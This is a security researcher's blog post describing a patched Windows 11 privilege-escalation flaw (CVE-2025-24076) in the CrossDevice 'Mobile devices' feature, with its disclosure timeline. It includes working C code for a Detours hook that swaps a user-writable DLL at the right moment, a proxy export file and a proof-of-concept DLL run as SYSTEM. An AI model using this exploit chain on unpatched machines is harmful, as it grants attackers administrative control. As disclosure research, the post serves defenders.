As a pentester you are sometimes thrown into projects where you have no idea where you are going to end up. This project was one of those where you were given a customer laptop and the aim was to “find something interesting”, perhaps a misconfiguration on the customer side. The problem was that the laptop provided was being treated as a thin client, where the laptop is mainly used to access a remote desktop and use the browser with no additional software installed.

When the laptop was handed over, I jokingly said to my manager, “So we are looking for a vulnerability in Windows 11 within a single working day?” As it turned out – we did (but of course it took us a lot longer than we had originally planned).

This blog post discusses CVE-2025-24076, which allows an attacker to gain local system privileges from a low privileged user by leveraging the well-known Dynamic-link library (DLL) hijacking technique. The blog also covers CVE-2025-24994 as a side product.

The vulnerability was reported to Microsoft through their responsible disclosure program and has since been fixed.

Starting Point

As usual, we started of with our regular checks and also ran automated scans such as https://github.com/itm4n/PrivescCheck, which caught our attention:

┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0004 - Privilege Escalation                    ┃
┃ NAME     ┃ COM server image file permissions                ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether the current user has any modification rights  ┃
┃ on a COM server module file. This may not necessarily result┃
┃ in a privilege escalation. Further analysis is required.    ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Status: Vulnerable - Medium
Id : {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}
Path : HKLM\SOFTWARE\Classes\CLSID\{E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496}
Value : InProcServer32
Data : %PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll
DataType : FilePath
ModifiablePath : C:\ProgramData
IdentityReference : VORDEFINIERT\Benutzer
Permissions : WriteAttributes, AddSubdirectory, WriteExtendedAttributes, AddFile

The PrivescCheck finding above means that an unprivileged user could potentially modify a DLL file that might be loaded by a COM server running with elevated privileges. However, they would have to figure out how to trigger the COM server to do this.

We did not find any associated COM object on the machine, but we further investigated why this was created in the first place. As it turns out, Windows 11 ships with the relatively new “Mobile devices” feature through Windows Settings. If you haven’t heard, this feature allows a user to link their mobile phone with their Windows computer to send messages, make phone calls via the computer, and access images. Additionally, it allows users to use their phone’s camera as a webcam. And that’s when we struck gold!

When analyzing the “Mobile devices” functionality we noticed that a user modifiable DLL is loaded first by a regular user compa and then by a high privileged user:

Since a Dynamic Link Library (DLL) allows functionality to be loaded into a running program, modifying this file lets us alter its behavior and instruct it to perform any action we want. Since a normal user can modify the DLL file, and it is then executed by a highly privileged user, we can use this to gain administrative rights on the local machine.

Usually, this is prevented by storing the DLL in a location that a low-privileged user cannot modify or by verifying the DLL’s signature to ensure it hasn’t been altered. The DLL was in a user-modifiable location, however it was signed by Microsoft. Luckily for us, the processes loading the DLL didn’t verify the signature.

CVE-2025-24994 occurs because the user process fails to verify the loaded DLL, potentially enabling a user-to-user attack. However, the more interesting vulnerability, CVE-2025-24076, involves the system process loading the DLL and will be discussed below.

Finding this functionality was the hardest part, as exploiting this type of vulnerability is well-documented. However, we encountered a few hurdles and used some clever tricks to make this attack more reliable.

Timing Is Everything

Our first idea was to simply overwrite the file and replace it with our own program. However, this turned out to be easier said than done. As shown in the screenshot above, we only had a 300-millisecond window to replace the file with our malicious version. (Funnily enough, because my virtual machine (VM) was so slow at times, I was able to do this manually a few times using the trusty shortcut CTRL-C and CTRL-V.)

However, we obviously cannot rely on a slow VM, so we had to come up with a trick to slow down the operation. Luckily, James Forshaw figured out that we can use an Opportunistic Lock (https://github.com/googleprojectzero/symboliclink-testing-tools/tree/main/SetOpLock) on a file to halt the execution of a program. The program can only continue once we remove the lock.

We can now halt the program when the DLL is accessed, but we quickly run into the next problem: overwriting a file while it is open is not allowed.

Intercepting WinAPI with Detours

You may have already experienced this behavior. When you have a Word document (or similar) open and try to overwrite it, you are typically greeted with the following warning:

This is due to a Windows restriction that prevents files from being overwritten when they are already open in another program (note that this behavior depends on the ShareMode of the file handle and may not always apply).

Thus, our timeframe is actually much smaller than the 300 milliseconds, since most of the time the file is blocked from being overwritten. The trick here is to wait until the file is no longer being used by another process. In our proof of concept, we intercepted the Close operation call within the user application CrossDeviceService.exe. Therefore we just wait for our turn until the program is done, and then we overwrite the file.

When looking at our current situation, we can observe the following:

  • ① The file is locked and only allows other programs to read, but not modify or overwrite it.
  • ② The file will eventually be closed.
  • Upon examining the Close ② operation in more detail, we can determine why the file was opened in the first place. Specifically, we see that GetFileVersionInfoExW ③ was called to retrieve information about the file.

The idea now is to intercept the GetFileVersionInfoExW function, wait until the file is closed, and then overwrite it with our malicious version.

Microsoft provides a powerful software library called Detours, which makes it easy to intercept Windows API calls. This is not only useful for debugging Windows applications but also allows us to take advantage of the vulnerability we discovered.

We wrote a small program that intercepts the call and replaces it with our custom functionality.

For those technically interested, you can click here to view the code.
#include <windows.h>
#include "detours/detours.h"

// Tell the compiler to link against the Detours library
#pragma comment(lib, "detours/detours.lib")

__declspec(dllexport) BOOL(WINAPI* OriginalGetFileVersionInfoExW)(DWORD dwFlags, LPCWSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData) = NULL;

BOOL WINAPI DetouredGetFileVersionInfoExW(DWORD dwFlags, LPCWSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);

// This code gets execuded when GetFileVersionInfoExW is intercepted
BOOL WINAPI DetouredGetFileVersionInfoExW(DWORD dwFlags, LPCWSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
{
    BOOL ret;
    LPCWSTR malicious = L"C:\\ProgramData\\CrossDevice\\poc.dll";
    LPCWSTR original = L"C:\\ProgramData\\CrossDevice\\CrossDevice.Streaming.Source.dll";

    // Wait till the program calls GetFileVersionInfoExW only for the specific file name
    if (lstrcmpW(lpwstrFilename, original) == 0)
    {
        // Close the file, to make it writable
        ret = OriginalGetFileVersionInfoExW(dwFlags, lpwstrFilename, dwHandle, dwLen, lpData);
        // Overwrite with malicious dll
        CopyFileExW(malicious, original, NULL, NULL, NULL, 0);
        // Return to normal execution
        return ret;
    }
    else
    {
        return OriginalGetFileVersionInfoExW(dwFlags, lpwstrFilename, dwHandle, dwLen, lpData);
    }
}

// This program is loaded into the user program CrossDeviceService.exe
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }

    // When this file is loaded perform the following
    if (dwReason == DLL_PROCESS_ATTACH) {
        DetourRestoreAfterWith();

        // Get function location of GetFileVersionInfoExW during runtime
        OriginalGetFileVersionInfoExW = ((BOOL (WINAPI *)(DWORD dwFlags, LPCWSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)) DetourFindFunction("kernelbase.dll", "GetFileVersionInfoExW"));

        // Intercept the original function with our modified funtion
        DetourTransactionBegin();
        DetourAttach(&(PVOID&)OriginalGetFileVersionInfoExW, DetouredGetFileVersionInfoExW);
        DetourTransactionCommit();

    }
    // Undo our changes when this file is unloaded
    else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalGetFileVersionInfoExW, DetouredGetFileVersionInfoExW);
        DetourTransactionCommit();
    }
    return TRUE;
}

We then load this code into the user process, and when all goes well, we replace the DLL with our malicious one within the small time window. Instead of relying on a race condition that lasts less than 300 milliseconds, we’ve turned the exploit into a reliable one that works every time. No need to pray to the demo gods!

Continuing Normal Operation

We’re not done yet; The programs assume that the relevant functions are implemented when loading the DLL. If we simply replace the DLL with our malicious one that grants administrative permissions, the program will crash because the original DLL functions are no longer present.

Therefore, we need to create a proxy that intercepts the program’s request and forwards it to the original function.

The original DLL exposes the two functions DllCanUnloadNow and DllGetClassObject:

# https://github.com/erocarrera/pefile
$ readpe CrossDevice.Streaming.Source.dll

Exported functions
    Library
        Name:                            CrossDevice.Streaming.Source.dll
        Functions
            Function
                Ordinal:                         1
                Address:                         0x12c0
                Name:                            DllCanUnloadNow
            Function
                Ordinal:                         2
                Address:                         0x13a0
                Name:                            DllGetClassObject

With the following definition file, we can specify that our malicious version exposes the two functions with the same name and internally just pass the function calls on to the original file target_original.

EXPORTS
DllCanUnloadNow=target_original.DllCanUnloadNow @1 DllGetClassObject=target_original.DllGetClassObject @2

We can now compile our malicious DLL that will create a new file directly in the C: directory, using the command gcc -shared -o poc.dll malicious.c malicious.def.

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
		case DLL_PROCESS_ATTACH:
			system("whoami >> C:\\poc_only_admin_can_write_to_c.txt");
	}
	return TRUE;
}

Bringing It All Together

With the above tricks we were able to trigger the vulnerability and gain administrative privileges on a Windows 11 machine:

  1. Trigger the installation of the “Mobile devices” Webcam functionality as a low-privilege user.
  2. Wait until the DLL is closed so we can replace it with our malicious one.
  3. Finally, we can see that the high-privilege system user created our file in the C: location. Only high-privilege users can write to that directory.

Recap and Takeaways

This post explains how we were able to gain local administrative privileges on an up-to-date Windows 11 machine by exploiting a weakness in a functionality within Windows 11.

Fortunately, Microsoft has since fixed this vulnerability, and all you need to do is keep installing those Windows updates.

While keeping your system up to date is crucial, there are additional steps you can take to safeguard your machine. By using an Endpoint Detection and Response (EDR) solution, you can proactively detect unusual behavior and identify irregular activity. Even if a vulnerability hasn’t been patched yet, these tools potentially help you catch threats early and stay one step ahead.

PS: Don’t forget to actually collect relevant information and to act on them if you receive such indicators. We published a blog post in the past to bring your EDR team to the next level, which you can find via the following link: Hitchhiker’s Guide to Managed Security – Compass Security Blog.

Disclosure Timeline

2024-09-20: Discovery
2024-10-07: Initial vendor notification
2024-10-08: Initial vendor response
2025-03-11: Release of fixed version / patch
2025-04-15: Coordinated public disclosure date

Microsoft announcement:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24076
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24994

Errata

In an earlier version of this post, we claimed that the timeframe for this attack was 3 milliseconds, not 300 as shown in the first screenshot. Thanks to an eagle-eyed reader for pointing out this error.